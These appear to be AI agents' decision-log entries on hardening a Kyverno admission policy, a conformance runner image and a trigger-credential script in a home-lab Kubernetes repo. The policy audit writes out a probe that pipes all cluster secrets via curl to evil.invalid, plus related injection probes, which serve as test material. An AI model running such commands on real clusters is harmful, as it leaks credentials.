`command` is pinned, so injection moves to whatever adjacent field nobody enumerated, and
**`BASH_ENV` alone is arbitrary code execution** — bash sources it before running a
non-interactive script, and the runner's command IS a bash script. The init list iterates
`initContainers[].env[]` flattened, so it keeps working if the at-most-one cap is ever relaxed.
- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
nowhere in the Job, which would make the allowlist above unenforceable by inspection.
All four use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least
one** element matches", so a pattern-based init rule would have admitted the committed clone step
**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
legitimately environment-specific, and `conformance-runner` can already read this namespace's
Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that
matters, because a name is what a program keys behaviour on. Constraining env *values* remains
undone.
### The clone script left the Job — that is the actual fix
Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
a policy cannot distinguish the committed script from an attacker's, because both are just data.
The logic now lives in the runner image at `/usr/local/bin/conformance-clone` (mode 0755 — added
to plan §5 step 1 as a hard requirement), sourced from `conformance/incluster/conformance-clone`,
which **agent 1 ships in PR #18**. The Job's init container is now `command` + `env` and nothing
else.
I had written a second copy of that script here (`conformance/incluster/conformance-clone.sh`) and
**deleted it**: two copies of the clone entrypoint in one directory, one baked into the image and
one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent
1's version before deleting mine rather than assuming compatibility, and the interface my Job
depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; baked clone
target `/workspace/src` (which is what makes my `workingDir: /workspace/src/conformance` correct);
`TMPDIR`/`HOME` required to be under `/workspace`; and both load-bearing guards preserved — the
`^[0-9a-f]{40}$` SHA guard and the `rev-parse HEAD == SHA` assertion. Theirs is a superset: it also
hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` that disagrees with the baked values, rather
than honouring it.
**One thing that changed while moving it, and it matters:** the repository URL is **hardcoded in
the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
nothing about env *values*. Had the URL stayed live in env, a trigger could point the clone at a
repository it controls and have `containers[0]` execute that repo's `./run.sh` as
`conformance-runner` — the same escalation, laundered through a field nobody constrains. **Do not
move that URL back into env.** Worth recording that agent 1 reached the hardcoded-URL conclusion
**independently and against an instruction to read those values from env** — an instruction the
coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so
trusting it just moves the injection" reasoning in one afternoon is the signal that the
field-enumeration gap was systemic, not a one-off.
### The committed `args` default was a shape that cannot run
Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the
runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` then
filters to `/l0-static/|/l1-rendering/`:
| args | offline selection | verdict |
|---|---|---|
| `--layer l2,l3` | empty | **RUNS** |
| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
So `--layer` is mandatory and must name only l2/l3. **The committed default was `--layer all
--strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More importantly:
**the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A full-suite
run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest
header and still needs to land in `ci/conformance.sh` (plan §3 item 4).
I did **not** narrow the policy's `args` allowlist to match. A security boundary should not encode
which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
considered rather than missed.
## What I verified
### Admission, proven with the pinned CLI rather than assumed
kyverno **v1.19.0** in the pinned toolbox, `kyverno apply` against the *rendered* template:
##### the real rendered template MUST PASS
Applying 7 policy rule(s) to 1 resource(s)...
pass: 7, fail: 0, warn: 0, error: 0, skip: 0
##### the coordinator's exact initContainer probe MUST FAIL
1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
pass: 6, fail: 1, warn: 0, error: 0, skip: 0
##### same escalation via ephemeralContainers MUST FAIL
1 - trigger-may-not-declare-ephemeral-containers ...
pass: 6, fail: 1, warn: 0, error: 0, skip: 0
The pre-fix measurements that produced the finding, taken the same way with `containers[0]` fully
compliant and `serviceAccountName: conformance-runner`:
- a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` → `pass: 3, fail: 0` — **ADMITTED**
- the committed template with **only** the init container's `args` swapped for
`kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
→ `pass: 3, fail: 0` — **ADMITTED**
Negative controls on the same rendered template, showing the original rules do bite where they
look: adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
`/spec/template/spec/containers/0/command/`.
Full fixture matrix from `kyverno apply --policy-report` — **65 pass / 13 fail / 0 error / 0 skip**:
| resource | creat | vols | args | init | ephem | envnm | envfr |
|---|---|---|---|---|---|---|---|
| `real-template` | pass | pass | pass | pass | pass | pass | pass |
| `good-run` | pass | pass | pass | — | pass | — | pass |
| `evil-command` | **fail** | pass | — | — | pass | — | pass |
| `evil-image` | **fail** | pass | — | — | pass | — | pass |
| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Every `evil-*`
init/ephemeral/env case **passes the three original rules** — that is the whole finding in one
column, and it is why the fixtures are worth more than the rules' prose.
`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
That is why env had to be its own rule and not a condition bolted onto the init rule.
The rendered template is now a fixture (`real-template` in
`platform/kyverno/tests/conformance-trigger/resources.yaml`), so a template that drifts out of
admission fails `make -C ci l0` instead of failing at 2am.
### How strong that evidence is — the `kyverno test` load trap
`ci/l0.sh` records, and this branch is downstream of, the lesson that **`kyverno test` exits 0 and
prints "N tests passed" even when a policy FAILS TO LOAD** — every row becomes `Skip / Invalid
Policy`. That trap was measured *while authoring this very policy*: a `subjects` block in a
separate `match.all` entry from its `resources` gave 9 rows of `Skip / Invalid Policy` and
`Test Summary: 9 tests passed and 0 tests failed`.
So the proofs above are deliberately quoted from **`kyverno apply`**, whose report carries explicit
`error:` and `skip:` counts, and those counts are `0` in every run cited. A green `kyverno test`
alone — or the green `l0` line in the gate below — would **not** on its own establish that these
rules loaded; `ci/l0.sh` greps the output for `Invalid Policy` for exactly that reason. Read the
`error: 0, skip: 0` in the numbers above, not the exit code.
Two further limits on what a CLI pass proves:
- **`kyverno apply` evaluates these rules with or without `--userinfo`** — the extra-volume control
fails either way. A CLI pass is evidence about the *patterns*, **not** about the `subjects`
filter that decides whether the rules apply at all. The claim in `kyverno-test.yaml`'s header
that userinfo is what makes the cases non-trivial holds for `kyverno test`, not for
`kyverno apply`.
- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not
admission in the cluster.
### Two Kyverno traps, both of which silently invert the result
Both are now commented in the rules:
- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** value
`false` into `true` and denies every good Job.
- **`join(' ', command)` compared as a string**, not the array compared with `Equals`. Kyverno's
`Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
`["/bin/sh","-c",…]` through on element 0.
### The results envelope
**Verified locally, not asserted:** full decode round-trips to a valid tar; tail-truncation and
head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails
check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit `exit 3`, and a
`set -e` abort — the envelope's `rc=` matched the process rc in all three. **The envelope is
verified; its transport over `kubectl logs` from a real Pod is not.**
### Gate
Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's
`.git`, per CLAUDE.md §3):
diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
spec-immutability: green
decisions-log: green (archive frozen, sha256 matches decisions/ARCHIVE.sha256;
2 entries well-formed — this one included)
lint: green (404 files)
l0: green (kyverno test passed, no 'Invalid Policy'; 19 offline cases,
0 failures, 0 skips, 0 unwired)
render-golden: green (10 onboarded service goldens reproduce)
l1: green (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired)
gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
Stages that did not run: gitea-settings
rc 3
Nothing FAILED. **rc 3 is UNDETERMINED, not green** — `gitea-settings` did not run, so this run
says nothing about Gitea's branch protection or runner registration, and the seven touched
requirements above are explicitly *not certified* at L2/L3. `gate.yml` tolerates rc 3, which is
itself a fail-open surface recorded elsewhere. The branch was rebased onto `main` at `c59fe9f`, i.e. **after** PR #24
merged, so `ci/decisions-log.sh` is in the base and did run: it reports the archive frozen
(`DECISIONS-LOG.md` sha256 matches `decisions/ARCHIVE.sha256`) and both `decisions/` entries
well-formed. This entry's format is therefore checked by the stage that enforces it, not only by
eye — though that stage checks *structure*, never whether any claim inside it is true.
### The `approval-policy` check this PR was expected to fail does not exist
I was briefed to expect CI to FAIL on an `approval-policy` check because `conformance/**` is
security-relevant. **That check does not exist.** Measured rather than assumed:
grep -rn approval .gitea/workflows/ -> no match
GET /repos/.../branches/main
protected True
user_can_push False
enable_status_check True
status_check_contexts ['gate / gate (pull_request)']
required_approvals 1
GET /repos/.../commits/<head>/statuses
success gate / gate (pull_request) Successful in 1m36s
pending gate / conformance (pull_request) Blocked by required conditions
The **only** required context is `gate / gate`, and it was GREEN at 1m36s — it genuinely ran, so
that particular green is not the skipped-Gitea-job-reports-success trap. There is **no path-based
approval policy in CI anywhere in this repo.** What actually stops this merging is
`required_approvals: 1` plus the fact that `gitea-admin` authors every agent PR and cannot
self-approve — the same control that returned HTTP 405 on PR #12. `gate / conformance` is "Blocked
by required conditions", i.e. the `CLUSTER_AVAILABLE` guard, unchanged.
**Consequence worth acting on:** a change under `conformance/**` — including a change to the
admission boundary itself — is gated by a *generic* human approval, not by anything that knows the
path is security-relevant. If the intent is "security-relevant paths get a stricter review", that
policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review or a
`paths:`-scoped required check would be the mechanism; neither exists today.
The PR was **not merged** and nothing was worked around.
### Process note, worth more than the policy fix
Both halves of the security finding came from **probing rather than reading**. The hole was not
visible in the policy's prose — which is careful, accurate about what it *does* constrain, and
explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A
policy is only as trustworthy as its negative fixtures.
### Addendum — rebased onto `main` after #18 landed (2026-09-29)
This branch originally appended its handoff to `DECISIONS-LOG.md`, which is why it was
`mergeable: false`: every branch appended to that file's same last hunk. The append is now this
file (see `decisions/README.md`).
The rebase onto post-#18 `main` hit one real content conflict — `conformance/incluster/README.md`,
where #18 and this branch had each rewritten the same bullet list. Resolved by keeping #18's
`Containerfile` / `conformance-clone` / `build-image.sh` bullets and this branch's
`chainsaw-job.yaml` bullet, since this branch is what makes the Job a rendered run template.
One of #18's paragraphs had to be **rewritten rather than kept**: its `conformance-clone` bullet
carried a blockquote saying *"This file is half a fix … a 4th policy rule demanding `command:
["/usr/local/bin/conformance-clone"]` with no `args` … is **not** in this branch."* That rule **is**
in this branch — `trigger-initcontainers-must-be-the-committed-clone-step`, plus the
`ephemeralContainers` and `env`/`envFrom` rules beside it. Leaving #18's wording would have left
`main` documenting an open hole that had just been closed, which is the same
documentation-disagrees-with-mechanism failure this repo keeps hitting. No code changed in the
rebase: every file but that README is byte-identical to the pre-rebase tip.
## What I did NOT verify
- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not
exist (plan §3 item 1), so the Job cannot be submitted, and the init container's
clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are
all **unexercised**. The envelope itself is verified; its transport is not.
- **PR #18 has since merged** (`cac5c9f`), so `/usr/local/bin/conformance-clone` and the image are
now on `main` and this branch was rebased onto them. What that changes is only *availability*:
if the path were missing or named differently the init container would fail to start, and if the
image is not the pinned digest admission denies the Job. **Neither has been exercised** — no
image has been built or pushed, so the digest this branch pins still resolves to nothing.
- **Secret `conformance-git-readonly` does not exist** (plan §3 item 6, operator action). Only its
name is referenced here.
- **`uid 65532`** is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it has
not been built. If the Containerfile picks a different uid, the Job will not start.
- **Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not tested;**
the shallow-clone-then-fetch fallback assumes it does. If it does not, the `HEAD == SHA`
assertion turns that into a loud failure rather than a wrong-tree run.
- **Whether the API server accepts `ephemeralContainers` inside a Job's pod template at all.**
Upstream the field is settable only through the `pods/ephemeralcontainers` subresource and
`ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to a pod
*template* nested in a Job, and I found no definitive answer. Establishing it needs a
`create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator —
so I did not run one. **The rule was added anyway:** it is a no-op if upstream already rejects the
field, and it is the same hole again if it does not. "Probably rejected upstream" is not a
boundary. If someone with cluster-write access wants to settle it, that is a one-command check;
the rule should stay either way.
- **The `subjects` filter on these rules is unproven.** `kyverno apply` evaluates the patterns with
or without `--userinfo`, so nothing above establishes that the rules actually *match* only the
trigger identity in a live admission request.
- **Admission was never exercised by a real API server** — only by `kyverno apply` against
manifests. A policy that a CLI accepts can still behave differently once installed.
- **`env` *values* and the `valueFrom` source Secret are unconstrained by design**, so the hardening
there is deliberately partial, not complete.
- **The env allowlists are derived from what the two programs read TODAY.** If `run.sh` or the clone
entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
reviewed change. That is the intended failure direction, but it is a coupling the next person
editing either script needs to know about, so it is called out in the rule's message.
- **`ci/conformance.sh` still runs the suite locally and is untouched** (plan §3 item 4). This
branch changes nothing about what CI does today.
- **The gate run was rc 3, UNDETERMINED — not green.** `gitea-settings` did not run. The L2/L3
conformance stages did not run (`CLUSTER_AVAILABLE` unset), so nothing here is evidence about
runtime behaviour.
- **`ci/decisions-log.sh` passing says nothing about this entry's accuracy.** It asserts the
frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub
sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.
@@ -0,0 +1,258 @@
---
date: 2026-09-29
branch: feat/conformance-runner-image
title: The in-cluster conformance Job could never have run; built the image it needs (PR #18)
---
## What changed
Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 1. PR
[#18](https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl/pulls/18). **Not
merged** — an agent cannot, and should not.
### The defect, stated plainly
`conformance/incluster/chainsaw-job.yaml` pinned `ghcr.io/kyverno/chainsaw:v0.2.12` **and**
`command: ["./run.sh"]`. Both lines could not be true. That image carries the chainsaw binary
and essentially nothing else — no `bash`, no `python3`, no `kubectl`, no `git`. The Job would
have failed at exec of `./run.sh` before a single test ran, and the only place that would have
surfaced is a pod log nobody was reading. This is the same failure shape as the entries around
it in the archive: a manifest that *described* a working mechanism, with nothing measuring
whether the mechanism existed.
### What landed
- `conformance/incluster/Containerfile` — the `conformance-runner` image: bash + python3 +
chainsaw + kubectl + `git-core` + tar/gzip/coreutils/diffutils. Two-stage (a full Fedora
fetches the binaries and verifies kubectl's published `sha256`; the runtime layer is
`fedora-minimal` and carries no downloader).
- `conformance/incluster/build-image.sh` — builds, **proves the toolchain by executing it**,
prints the digest, and **never pushes**.
- `conformance/incluster/conformance-clone` — the baked init-container clone helper (see the
addendum below).
- `conformance/versions.env` — `CONFORMANCE_RUNNER_IMAGE`, digest **empty** pending the push.
- `conformance/incluster/README.md` — documents all of it, and flags the Job manifest's stale
`image:`.
`infra/devcontainer/versions.env` stays the single source of truth. `build-image.sh` sources it
and injects `CHAINSAW_VERSION` / `KUBECTL_VERSION` / `FEDORA_VERSION` as `--build-arg`; the
Containerfile's `ARG` defaults are **empty** and asserted in its first `RUN`, so a build that
forgets a pin fails loudly rather than baking a stale version. No new pin was invented.
Two things the admission boundary forced, both of which would otherwise have been discovered
at first run: `USER` must be **numeric** (`runAsNonRoot` with no `runAsUser` makes the kubelet
reject a named user), and every writable path must live under `/workspace` (the pod is
`readOnlyRootFilesystem` and the policy admits no third volume, so there is no `/tmp`). git's
`safe.directory` is therefore written to `/etc/gitconfig` at build time.
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` was **not modified**.
### The chainsaw supply-chain gap, stated accurately
The Containerfile originally said chainsaw "publishes no per-asset checksum file at a stable
URL". Literally true, and misleading: it reads as "no integrity option exists". The release
assets say otherwise — v0.2.12 ships per-asset cosign `.sig` + `.pem` and an SBOM alongside
each tarball. So verification IS available; it needs cosign in the builder stage and the right
keyless identity for kyverno's release workflow. The comment now says what is true: kubectl is
sha256-verified, chainsaw rests on tag + TLS, and the cosign path is named as a TODO.
Deliberately **not** implemented here — picking a trusted signer identity is a supply-chain
decision that belongs in its own reviewed change. `infra/devcontainer/Containerfile` has the
same gap for the same binary.
### Addendum — `/usr/local/bin/conformance-clone`
Added at the coordinator's request, to close half of the admission gap a sibling agent found:
the policy pins the MAIN container's `command` but **never reads `initContainers`**, so a Job
from `conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]` and an
arbitrary script, running as the privileged `conformance-runner` SA. Reproduced by the policy's
author (`pass: 3, fail: 0` on a privileged `alpine:latest` init container running
`kubectl get secrets -A`).
The image now bakes `/usr/local/bin/conformance-clone`, **0755 root:root**, so uid 65532 cannot
replace the one executable the policy will come to trust. Clone logic taken from PR #20's
`clone-suite-at-commit`, with both load-bearing properties preserved: the SHA must match
`^[0-9a-f]{40}$`, and `rev-parse HEAD` is asserted equal to it after checkout. No arguments are
accepted.
**A DEVIATION FROM THE BRIEF, DELIBERATE — the repo URL and clone target are COMPILED IN, not
taken from the environment.** The brief said to take SHA, repo URL and target dir from the
environment. The policy contains no `env`, `valueFrom` or `secretKeyRef` clause at all, so a
script that trusted `CONFORMANCE_REPO_URL` would have moved the injection one field over — the
trigger points it at a repo it controls, `conformance-clone` fetches that, and `./run.sh` from
the attacker's tree runs under the privileged SA. "No args" would not have stopped it. The env
vars are still read so the Job template stays self-documenting, but a value that disagrees with
the baked literal is a hard failure, never a redirect. The only genuinely trusted per-run input
is the SHA.
**This file is half a fix and must not be mistaken for the whole one.** What makes the fixed
path *required* rather than merely *available* is a 4th policy rule demanding
`command: ["/usr/local/bin/conformance-clone"]` with no `args` on every initContainer. That
rule edits the security boundary and belongs in its own reviewed PR — it is **not** in this
branch. Until it lands, the hole is open.
The anonymous-clone fallback is deliberate and announced in the script's log line: read access
to this repo needs no credential today, the integrity guarantee here is the SHA assertion
rather than the credential, and requiring the Secret would have made the script untestable
without one.
### A REAL CONSTRAINT THE PLAN DOES NOT ACCOUNT FOR — read before wiring T-6.1b
`run.sh` runs the selected **offline L0/L1 checks** before it touches the cluster, for **any**
selection that is not offline-only. Those checks shell out to `flux`, `promtool`, `kyverno` and
`kustomize`. This image deliberately omits them — baking the whole devcontainer toolchain into
the runner would roughly double its size to re-run work `ci/l0.sh` and `ci/l1.sh` already did
offline in the same CI run.
So **the plan's own invocation shapes do not work on this image.** `--layer all
--strict-coverage` (the documented phase-exit shape) and a bare `--requirements <IDs>` (the
documented merge-gate shape) both drag the L0 checks in and will fail on a missing tool. The Job
must use `--layer l2` / `--layer l3`, which is verified below to resolve the offline selection
to nothing.
**This is a decision for the plan owner, not a detail:** either the Job selects cluster-gated
layers only, or the runner grows the full L0 toolchain, or `run.sh` learns to skip offline
checks when their tools are absent (which would be a fail-open and is the wrong answer). It is
documented in the Containerfile header and the incluster README so it cannot be rediscovered
from a pod log.
### Follow-ups this creates
1. **Operator:** `podman login` + `podman push --digestfile`, then a PR setting
`CONFORMANCE_RUNNER_IMAGE_DIGEST` from the digestfile — the digest the *registry* returned,
not the local manifest digest the build printed.
2. **Then tighten the boundary**, as that policy's own header asks: replace its `@sha256:*`
wildcard with the literal digest, closing the residual "anyone who can push to this path"
gap. Separate, human-reviewed PR — it edits the security boundary.
3. **T-6.1b:** decide the Job's `args` per the constraint above, and stop `chainsaw-job.yaml`
carrying an image reference that admission would deny.
4. **The 4th policy rule** pinning every initContainer's `command` to `conformance-clone`.
Without it, `conformance-clone` is available but not required, and the injection hole is
still open.
### Rework note — why this entry is a file and not an append
This branch originally carried its handoff as a ~236-line append to the tail of
`DECISIONS-LOG.md`. That append was the **only** conflicting path between this PR and `main`,
and it made PR #18 `mergeable: false`. The append has been dropped from the branch entirely and
its substance moved here verbatim in meaning; the branch now touches no file outside
`conformance/`. Nothing about what the code claims to have proven was changed by that move.
## What I verified
### The image, by running it — not by a green build
As uid 65532 with `--read-only`: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4
(client), chainsaw 0.2.12; `/` confirmed read-only, `/workspace` writable, uid confirmed
non-zero. Then the real entrypoint in the same shape against the worktree: `./run.sh --lint`,
`--coverage-only`, and `--layer l2 --no-cluster` all **rc 0**, emitting `coverage.md`,
`coverage.json` and `report.junit.xml`. 408 MiB. Rebuilt after the chainsaw-comment edit; the
in-image verification still passed.
### The init-container clone path, end to end
From inside the image, as uid 65532, `python3` completes a verifying TLS handshake to
`gitea.home.keithjackson.dev` against the stock `ca-certificates` (issuer `Let's Encrypt / YR2`,
notAfter `Dec 12 02:16:57 2026 GMT`), and `git ls-remote https://…/home-network-k3s-impl.git
HEAD` returns `20ea70d` with **no credential**. So no internal CA bundle is needed, and
anonymous read is currently open — the plan's read-only deploy token buys authorisation
hygiene, not reachability.
`/usr/local/bin/conformance-clone` measured in the image as uid 65532 with `--read-only`:
`root:root 755`, confirmed **not writable** by uid 65532. Seven negative cases, each asserted to
exit non-zero (not merely to print something): arguments rejected; missing SHA; a branch name
instead of a SHA; an unrendered `@@CONFORMANCE_GIT_SHA@@`; `HOME` off the workspace volume; a
**redirected** `CONFORMANCE_REPO_URL=https://evil.invalid/x.git`; a `CONFORMANCE_SRC` off the
workspace volume. And the positive case: a real anonymous clone of this repo at a real 40-hex
SHA, with `rev-parse HEAD` proven equal to the requested SHA.
Two bugs of my own that only running it could have found, both fixed: the workspace-path guard
matched `/workspace/*` and so **rejected the image's own `HOME=/workspace`**; and the negative
checks were written as pipelines, which under `pipefail` aborted the verify at the first
expected failure and silently skipped the remaining six. A verify that stops early looks
identical to a verify that passed.
### There is no `approval-policy` CI stage, and `conformance/**` is not a protected path
My brief told me to expect this PR's CI to fail on an `approval-policy` stage because
`conformance/**` is a security-relevant path requiring human approval. **I repeated that before
checking it. It is not true:**
| Claim | Measured |
|---|---|
| an `approval-policy` CI stage exists | **No.** `grep -rn 'approval-policy\|approval_policy' .gitea/ ci/` → nothing. `.gitea/workflows/gate.yml` has jobs `gate` and `conformance`; `merge-gate.yaml` has `spec-immutability, lint, l0, render-golden, l1, conformance, merge-gate`. No approval job in either. |
| `conformance/**` is a protected path | **No.** `GET /branch_protections` → `protected_file_patterns: ''`. No path-based rule of any kind, and no `CODEOWNERS` file in the repo. |
| required status checks | `status_check_contexts: ['gate / gate (pull_request)']` — one context, and it is not an approval stage. |
What actually blocks this PR is `required_approvals: 1` with `block_admin_merge_override: true`,
and `gitea-admin` authors every agent PR and cannot self-approve. That is a **merge** block, not
a CI failure — the distinction matters, because "expect a red X" and "expect a green run that an
agent still cannot merge" send a reviewer to different places. Left in as a correction rather
than quietly deleted.
### What PR #18's CI actually did, read out of the job log
Read from `/Home-Network/home-network-k3s-impl/actions/runs/128/jobs/0/logs`, not off the tick,
because a skipped Gitea job reports `success`:
[skip] stage spec-immutability: SKIPPED (not run)
[ ok ] stage lint: pass
[ ok ] stage l0: pass
[ ok ] stage render-golden: pass
[ ok ] stage l1: pass
[ ok ] stage gitea-settings: pass
[skip] stage conformance: SKIPPED (not run)
[fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
`gate / gate (pull_request)` = **success in 1m36s**, and that success means **rc 3, tolerated**
by `./ci/gate.sh || [ "$?" -eq 3 ]` — not rc 0. `gitea-settings` ran and passed in CI with
`REQUIRE_GITEA_SETTINGS=true`, so CI is *more* complete there than the local toolbox run, where
that stage can only skip. That measurement predates this rework's force-push; CI has not been
re-read since.
### The gate, on the reworked branch, today
ENGINE=<worktree shim> DEV_KUBECONFIG=/dev/null ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
→ rc 3, MERGE GATE: UNDETERMINED. Nothing FAILED.
[ ok ] spec-immutability [ ok ] decisions-log [ ok ] lint
[ ok ] l0 [ ok ] render-golden [ ok ] l1
[skip] gitea-settings (SETTINGS_API_TOKEN not set — unwired repo-wide)
[skip] conformance (CLUSTER_AVAILABLE != true) — L2/L3 UNVERIFIED
Stages that did not run: gitea-settings
`decisions-log` is the stage PR #24 added; it ran against this branch and passed — "archive
frozen, 2 entries well-formed" — so this file's shape is machine-checked, not eyeballed.
Diff base `origin/main @ c59fe9f923c4` (this branch was rebased onto main after #24 merged).
Touched requirements resolved to
`R-SEC-02 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04`; all five remain **L2/L3-UNVERIFIED**. This
is **not** a green run and is not offered as one.
### The rework itself
`git diff origin/main...HEAD --name-only` lists only the five `conformance/` paths plus this
file — `DECISIONS-LOG.md` is gone from the branch. `git diff pr18-orig HEAD -- conformance/`
is empty, so the code is byte-identical to the pre-rework tip, file modes included
(`build-image.sh` and `conformance-clone` both `100755`).
## What I did NOT verify
- **The image has never run in the cluster.** Everything above is local podman. Admission has
not been exercised against it, because there is no digest to reference yet.
- **The image is not pushed anywhere**, so `CONFORMANCE_RUNNER_IMAGE_DIGEST` is empty. Empty on
purpose: it fails visibly in whatever renders the Job, whereas a guessed digest would look
like an `ImagePullBackOff` cluster fault. Pushing needs a registry credential and is an
operator action — `build-image.sh` prints the exact commands.
- **The image was not rebuilt during this rework.** Moving where the handoff lives must not
change what the branch claims to have proven, so no build was run; the image measurements
above are the ones taken when the code was written, against this same code.
- **chainsaw's cosign signatures are not verified** by this image. Only kubectl's `sha256` is.
The cosign path is named as a TODO, not implemented.
- **The 4th policy rule does not exist**, so `conformance-clone` is available but not required.
The initContainer injection hole is open until that separate PR lands.
- **L2/L3 still do not run in CI** (`vars.CLUSTER_AVAILABLE` unset). This image is a
prerequisite for closing that hole, not the closure. R-SEC-02 and R-TEST-01..04 are untested
at L2/L3.
- **`gitea-settings` skipped in my local gate run**, so branch protection and runner
registration are UNVERIFIED by this run. The CI-side claims quoted above were measured
earlier, against the pre-rework head.
- **The post-force-push CI run has not been read.** The `gate / gate (pull_request)` result
quoted above is from run 128 on the old head.
@@ -0,0 +1,125 @@
---
date: 2026-09-29
branch: feat/conformance-trigger-kubeconfig
title: The trigger credential script — it REFUSES, on purpose, and it is UNEXECUTED
---
## What changed
Delivered `infra/gitea/conformance-trigger-kubeconfig.sh` —
`docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 — plus its section in
`infra/gitea/README.md`. **The script is UNEXECUTED.** Minting a cluster credential and
changing Gitea variables are operator actions; nothing was minted, no Gitea object was
written, no `kubectl` mutation was made. Everything below is a claim about the *script*,
not about the platform.
*What it does.* Mints a token for `conformance/conformance-trigger` (TokenRequest), wraps
**only that token** with the cluster CA and server into a kubeconfig, stores it as the
Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG` (legal name — **not** the reserved `GITEA_`
prefix), and sets `vars.CLUSTER_AVAILABLE` only as a separately-requested,
precondition-gated, TTY-confirmed final step. The token is never printed and never reaches
argv: it goes into a 0600 file and into the PUT **body file**. The script refuses to run
under `set -x`.
*The design decision worth reviewing: TWO precondition classes.*
- **mint-blocking (cluster-side):** SA/Role/RoleBinding present, and ClusterPolicy
`conformance-trigger-job-shape` present + `Enforce` + `failurePolicy: Fail` + Ready. If any
fails, **nothing is minted**. Rationale: Kubernetes puts no `use` check on a Job's
`serviceAccountName`, so a `create jobs` token in that namespace IS the privileged
`conformance-runner` identity unless the admission policy bounds it. RBAC cannot fix that
(plan §4); minting before the boundary is live would hand CI the escalation the boundary
exists to close.
- **arm-blocking (repo-side):** digest-pinned `CONFORMANCE_RUNNER_IMAGE`, an init-container
plus the admitted image in `chainsaw-job.yaml`, and `CONFORMANCE_TRIGGER_KUBECONFIG`
